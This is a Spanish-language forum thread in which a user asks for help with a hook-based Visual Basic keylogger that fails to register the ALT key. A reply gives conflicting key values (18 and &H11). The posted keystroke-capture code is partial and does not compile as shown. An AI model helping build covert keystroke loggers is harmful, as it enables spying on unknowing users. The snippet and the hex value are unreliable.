Hola a todos... Bueno mi problema es el siguiente:
Estoy haciando un keylogger mediante Hooks, el problema es que me detecta TODAS las letras menos la tecla ALT...
Ya intente probar con la constante VK_ALT pero no funciona :S
Me fije en el API-Viewer y no hay ninguna otra tecla que se le parezca xD
El metodo que uso para obtener una tecla es el siguiente (salteandome las declaraciones)
Public Function LowLevelKeyboardProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
On Error Resume Next
Dim xpInfo As KBDLLHOOKSTRUCT
If nCode = HC_ACTION Then
CopyMemory xpInfo, lParam, Len(xpInfo)
Num = xpInfo.vkCode 'Obtener el numero de la tecla presionada
If xpInfo.flags = 1 Then
Select Case xpInfo.vkCode
Case VK_DELETE
Letra = " [DELETE] "
Case Else
Letra = ""
Form1.Text1.Text = Form1.Text1.Text & Letra
End If
Else
LowLevelKeyboardProc = CallNextHookEx(KeyBoardHook, nCode, wParam, lParam)
End If
End Function
Si alguien me puede ayudar estaria muy agradecido...
Un salud0s
G0nz4
¿Tienes declarada la constante VK_ALT? De todas formas creo que la tecla alt tiene como valor 18; o &H11 en valor hexadecimal.
¿Estás utilizando un módulo de clase o una libreria externa para obtener los valores? Lo digo porque con el código que has puesto no se puede solucionar tu problema.
¡¡Saludos!!
Estoy usand0 un modulo... y si, declare la constante del ALT pero tmb funciona :S
no c como hacer :S